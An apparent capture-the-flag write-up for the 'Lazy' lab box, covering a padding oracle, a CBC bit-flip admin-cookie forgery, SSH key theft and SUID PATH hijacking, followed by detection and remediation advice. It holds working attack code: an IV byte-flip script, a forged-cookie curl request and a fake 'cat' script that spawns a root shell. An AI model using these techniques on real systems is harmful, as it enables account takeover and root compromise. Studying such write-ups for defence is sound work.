Overview
Lazy is a medium-rated Linux box running a custom PHP web application on
Ubuntu 14.04 (32-bit). The application implements its own authentication
system using an 8-byte block cipher in CBC mode to encrypt session cookies. The
server returns “Invalid padding” for malformed cookies: a textbook padding
oracle. Combined with a CBC bit-flipping attack, an attacker can escalate from
a self-registered account to the admin account with a single byte
modification to the cookie.
The admin panel contains a link to an SSH private key for user mitsos. A
custom SUID binary in that user’s home directory calls system("cat /etc/shadow")
with a relative path to cat. Prepending /tmp to PATH and placing a
malicious cat script there provides immediate root-level command execution.
The box demonstrates two distinct vulnerability classes: cryptographic implementation flaws and Unix privilege escalation fundamentals. Neither requires a CVE; both exploit design decisions that are wrong in well-understood ways. The cryptographic side is particularly instructive because the padding oracle vulnerability was described by Vaudenay in 2002, yet identical implementations continued appearing in production software for over a decade afterward (ASP.NET’s CVE-2010-3332, Java Server Faces, various JWT libraries).
Reconnaissance
nmap -sC -sV -T4 10.129.19.153
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 | Ubuntu 14.04 banner |
| 80 | HTTP | Apache 2.4.7 (Ubuntu) | “CompanyDev” homepage |
Two services. SSH 6.6.1p1 maps to Ubuntu 14.04 Trusty. The version is old but
rarely the initial access vector on HTB boxes; SSH exploits at this version
level require authenticated access or unusual configurations. The web
application is the primary target. Response headers reveal
PHP/5.5.9-1ubuntu4.21, which narrows the runtime but does not directly yield
an exploit.
The homepage presents two links: /login.php and /register.php. After
registration, the authenticated area shows only the username and a logout link.
The application is deliberately sparse; the interesting behaviour is in the
authentication mechanism itself, not the application logic.
Attack Surface Analysis
Cookie structure analysis
To understand the encryption scheme, I register accounts with different username lengths and compare cookie sizes. The goal is to determine the block size, mode of operation, and whether an IV is prepended.
| Username (length) | Plaintext | Cookie size (bytes) |
|---|---|---|
| a (1) | user=a (6 bytes) | 16 |
| test (4) | user=test (9) | 24 |
| testuser1 (9) | user=testuser1 (14) | 24 |
| testtesttesttest (16) | user=testtesttesttest (21) | 32 |
Ciphertext size increases in 8-byte increments. A 6-byte plaintext produces 16 bytes of ciphertext (8-byte IV + one 8-byte block with 2 bytes of PKCS7 padding). A 9-byte plaintext produces 24 bytes (8 IV + two blocks, 7 bytes of padding in the second block). This confirms an 8-byte block cipher (DES or Blowfish, not AES which uses 16-byte blocks) in CBC mode with PKCS7 padding and the IV prepended to the ciphertext.
I chose to register multiple accounts rather than use a single account because the block size determination requires observing the ciphertext length boundary. The transition from 16 to 24 bytes between a 6-byte and 9-byte plaintext pinpoints the block boundary exactly.
Padding oracle discovery
Testing the application’s response to invalid cookies:
No cookie: 1117 bytes (homepage with login links)
Valid cookie: 983 bytes (authenticated page)
Invalid base64: 15 bytes ("Invalid padding")
Truncated cookie: 15 bytes ("Invalid padding")
Bit-flipped cookie: 15 bytes ("Invalid padding")
The server explicitly returns “Invalid padding” when CBC decryption produces incorrect PKCS7 padding. This is a padding oracle: the error message allows an attacker to determine whether a given ciphertext produces valid padding after decryption, one byte at a time. The response size differential (15 bytes vs 983 bytes) provides a reliable side channel even without parsing the body.
This violates a fundamental cryptographic principle: decryption endpoints must never reveal whether padding was valid. The correct behaviour is to return the same error (and the same response time) regardless of whether decryption failed due to bad padding, an unknown user, or any other reason. Constant-time comparison and generic error responses eliminate the oracle entirely.
SQL error disclosure
Registering the username “admin” returns a raw MySQL error:
Duplicate entry 'admin' for key 'PRIMARY'
This confirms three things: the admin user exists, the database is MySQL, and
error messages are not sanitised. The admin username is the target for cookie
forgery. The raw SQL error is a separate information disclosure finding (CWE-209)
but not directly exploitable here because the authentication is cookie-based,
not SQL-injectable at this endpoint.
Vulnerability Analysis
Padding oracle cookie forgery (CWE-649)
| Attribute | Value |
|---|---|
| CWE | CWE-649 (Reliance on Obfuscation or Encryption with No Integrity Check) |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | Server leaks padding validity through distinct error message |
| Impact | Decrypt any cookie; forge cookies for arbitrary usernames |
A padding oracle allows two attacks. First, full plaintext recovery: an attacker can recover the plaintext of any ciphertext block by testing 256 values per byte (at most 256 * blocksize = 2048 requests per block). The attacker modifies a byte in the preceding ciphertext block and observes whether the server reports valid padding. When valid padding is found, the attacker can compute the intermediate decryption state and recover the original plaintext byte. Second, arbitrary ciphertext forgery: by reversing the process, an attacker can construct ciphertexts that decrypt to chosen plaintexts (also 2048 requests per block).
For this box, neither full attack is necessary. CBC bit-flipping is faster.
CBC bit-flipping (CWE-353)
In CBC mode, decryption of block i is: P(i) = D_K(C(i)) XOR C(i-1), where D_K is the block cipher decryption and C(0) is the IV. Flipping a bit in C(i-1) flips the corresponding bit in P(i) without affecting any other plaintext block (though it does corrupt P(i-1), which only matters if the server validates that block’s content).
If the attacker knows the plaintext value at a given byte position and the desired replacement value, the required XOR delta is: old_byte XOR new_byte. Applying this delta to the corresponding byte in the preceding ciphertext block (or IV, for the first plaintext block) produces the desired plaintext.
The attack requires knowing the plaintext format. The padding oracle decryption
confirms it: user=<username>.
SUID PATH hijacking (CWE-426)
| Attribute | Value |
|---|---|
| CWE | CWE-426 (Untrusted Search Path) |
| CVSS 3.1 | 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| Root cause | SUID binary calls system("cat /etc/shadow") with relative path |
| Impact | Arbitrary command execution as root |
The system() function invokes /bin/sh -c "cat /etc/shadow". Because cat
is a relative path, the shell resolves it via the PATH environment variable.
An attacker who controls PATH substitutes a malicious cat. The system()
call is doubly dangerous in a SUID context: it spawns a shell, which inherits
the effective UID and processes environment variables like PATH, IFS, and
LD_PRELOAD. The secure alternative is execve() with an absolute path and a
sanitised environment, or better still, reading the file directly with
open()/read() and avoiding shell invocation entirely.
Exploitation
Step 1: Padding oracle decryption
Before attempting the bit-flip, I need to confirm the plaintext format. A custom Python script iterates over each byte in each ciphertext block, testing all 256 values against the oracle. The script sends modified cookies and classifies responses by size: 15 bytes indicates invalid padding, anything larger indicates valid padding.
Cookie for 'testuser1' (24 bytes, 3 blocks):
Block 0: IV (8 bytes)
Block 1 plaintext: user=tes
Block 2 plaintext: tuser1\x02\x02
Full plaintext: user=testuser1
This confirms the format: user=<username> with PKCS7 padding. The target
byte for the bit-flip is at position 5 (the first character of the username),
which falls in the first plaintext block. Since the first plaintext block is
XORed with the IV (block 0), the modification targets the IV.
I chose to write a custom oracle script rather than using padbuster because the oracle’s response format is simple (15-byte vs larger response) and the custom script provided more control over the request format. padbuster would also work but requires more configuration for non-standard cookie delivery.
Step 2: CBC bit-flipping to forge admin cookie
Rather than the slow padding oracle encryption (2048 requests per block), I
use a one-request CBC bit-flip. I register a user named bdmin (differs from
admin at byte position 5: 0x62 vs 0x61). The cookie encrypts
user=bdmin. The username bdmin was chosen because it differs from admin
by exactly one character in the first plaintext block, meaning only the IV
needs modification. If the differing character fell in the second block, the
bit-flip would corrupt the first block’s plaintext, which the server might
reject.
XOR byte 5 of the IV with 0x62 XOR 0x61 = 0x03 to flip b to a:
import base64
cookie_b64 = '+3WEHUrK1ItAs3agqlvyF0kQ0BLFF89C'
raw = bytearray(base64.b64decode(cookie_b64))
# Flip byte 5 of IV: 'b' (0x62) -> 'a' (0x61)
# XOR delta: 0x62 ^ 0x61 = 0x03
raw[5] ^= 0x03
forged = base64.b64encode(bytes(raw)).decode()
Verification:
curl -s -b "auth=+3WEHUrJ1ItAs3agqlvyF0kQ0BLFF89C" \
http://10.129.19.153/index.php | grep "logged in"
# You are currently logged in as admin!
Admin access with a single cookie byte modification. No brute-force, no password, no SQL injection. The entire authentication system collapses because encryption without integrity checking (no HMAC, no AEAD) allows arbitrary ciphertext manipulation.
Step 3: SSH key from admin panel
The admin panel contains a message to a colleague with a link to a downloadable RSA private key:
Tasos this is my ssh key, just in case, if you ever want
to login and check something out.
curl -s http://10.129.19.153/mysshkeywithnamemitsos > mitsos_key
chmod 600 mitsos_key
ssh -i mitsos_key -o PubkeyAcceptedKeyTypes=+ssh-rsa \
-o HostKeyAlgorithms=+ssh-rsa [email protected]
mitsos@LazyClown:~$ cat /home/mitsos/user.txt
# [redacted]
The RSA key required legacy algorithm negotiation because OpenSSH 6.6.1p1
predates SHA-2 RSA signature support. Modern OpenSSH (8.8+) disables ssh-rsa
signatures by default due to SHA-1 collision attacks. The
PubkeyAcceptedKeyTypes and HostKeyAlgorithms flags re-enable the legacy
algorithm for this connection only.
Step 4: SUID PATH hijacking
Enumerating SUID binaries is standard post-authentication methodology on Linux:
find / -perm -4000 -type f 2>/dev/null
Among the standard SUID binaries (passwd, su, sudo), one stands out:
ls -la /home/mitsos/backup
# -rwsrwsr-x 1 root root 7303 May 3 2017 /home/mitsos/backup
strings /home/mitsos/backup | grep cat
# cat /etc/shadow
The binary is both SUID and SGID root. The strings output reveals it calls
cat /etc/shadow as a relative path. I verified with ltrace that the binary
uses system() rather than execve():
ltrace /home/mitsos/backup 2>&1 | head -5
# system("cat /etc/shadow"...
The exploit creates a malicious cat in /tmp and prepends it to PATH:
printf '#!/bin/sh\n/bin/cat /root/root.txt\n' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
/home/mitsos/backup
# [redacted]
Root flag captured. For a full root shell:
printf '#!/bin/sh\n/bin/bash -p\n' > /tmp/cat
/home/mitsos/backup
# root@LazyClown:~#
The -p flag on bash preserves the effective UID (root) rather than dropping
privileges to the real UID (mitsos). Without -p, bash detects the UID/EUID
mismatch and drops to the real UID as a safety measure.
Post-Exploitation
uname -a
# Linux LazyClown 4.4.0-31-generic #50~14.04.1 i686 GNU/Linux
id
# uid=1000(mitsos) gid=1000(mitsos)
# groups=1000(mitsos),4(adm),24(cdrom),27(sudo)
32-bit Ubuntu 14.04.4 with kernel 4.4.0-31. The mitsos user is in the sudo
group but no password was recovered for sudo authentication. The kernel is
vulnerable to DirtyCow (CVE-2016-5195, patched at 4.4.26) and CVE-2016-9793
(AF_UNIX credential passing), providing alternative escalation paths. Neither
was needed given the SUID binary.
The adm group membership grants read access to /var/log, which would be
useful for credential harvesting or understanding system activity in a
real-world engagement.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 | Burst of registration requests with varying username lengths |
| Initial access | T1606.001 | Forged admin cookie from IP that never authenticated as admin |
| Credential access | T1552.004 | HTTP download of private key file |
| Privilege escalation | T1574.007 | PATH modification followed by SUID binary execution |
Network-level: The padding oracle attack generates hundreds of requests with modified cookies, each receiving either a 15-byte or 983-byte response. This binary response pattern is detectable by a WAF or anomaly-based IDS. Rate limiting on authentication endpoints would slow the attack from seconds to hours. However, the bit-flip itself is a single request; detection must focus on the preceding oracle probes during the reconnaissance phase.
Host-level: auditd rules on PATH modifications combined with SUID binary
execution would catch the privilege escalation. Specifically, an execve audit
rule on /home/mitsos/backup combined with a rule monitoring writes to /tmp
from the same session would produce a high-fidelity alert. The backup binary
spawning an unexpected child process (/tmp/cat instead of /bin/cat) is
anomalous and detectable via process tree analysis.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Replace custom crypto with PHP session_start() | Medium | Critical |
| P0 | Remove SSH key from web-accessible path | Low | Critical |
| P0 | Rewrite backup binary with absolute path (/bin/cat) | Low | Critical |
| P1 | Return generic errors for all authentication failures | Low | High |
| P1 | Add HMAC to cookies (encrypt-then-MAC with HMAC-SHA256) | Medium | High |
| P2 | Sanitise SQL error messages from user-facing responses | Low | Medium |
| P2 | Upgrade Ubuntu 14.04 to a supported release | High | Medium |
| P3 | Remove X-Powered-By and Server version headers | Low | Low |
The padding oracle exists because the application implements its own
cryptographic session management. This is almost always wrong. PHP’s built-in
session_start() stores session data server-side and issues an opaque session
ID to the client. No encryption, no padding, no oracle. If client-side tokens
are required (stateless architectures, for example), use authenticated
encryption (AES-256-GCM or encrypt-then-MAC with HMAC-SHA256). The critical
property is integrity, not confidentiality: the server must reject any modified
ciphertext before attempting decryption.
The SUID binary fix is trivial: use /bin/cat instead of cat. Better still,
read the file directly in C with open()/read() and drop the system()
call entirely. Any SUID binary that calls system() is inherently dangerous
because system() invokes a shell, which respects PATH, IFS, and other
attacker-controlled environment variables. The SECURE_PATH mechanism in sudo
exists precisely to prevent this class of attack.
Key Takeaways
-
Padding oracles are not theoretical. The “Invalid padding” response on this box is a textbook example of Vaudenay’s 2002 attack. Real-world equivalents include ASP.NET’s
ScriptResource.axdpadding oracle (CVE-2010-3332), which affected millions of sites, and various JWT implementations that leaked padding validity through timing differences. Any system that reveals padding validity through timing, error messages, or response content is vulnerable. The fix is authenticated encryption; failing that, constant-time padding validation with generic error responses. -
CBC bit-flipping is faster than full padding oracle encryption. When the plaintext format is known and only one byte needs to change, a single XOR on the IV or preceding ciphertext block forges the desired plaintext. Register
bdmin, flip one bit, becomeadmin. The entire padding oracle machinery (hundreds of requests) was only needed to confirm the plaintext format; the actual forgery was instantaneous. This is why encryption without authentication is considered broken: confidentiality alone does not prevent tampering. -
SUID binaries that call
system()with relative paths are root shells. This is one of the most reliable Linux privilege escalation patterns. The fix is absolute paths; the real fix is not usingsystem()at all in SUID binaries. GTFOBins catalogues dozens of binaries exploitable through PATH hijacking.stringson any custom SUID binary is the first step;ltraceconfirms whethersystem()orexecve()is used.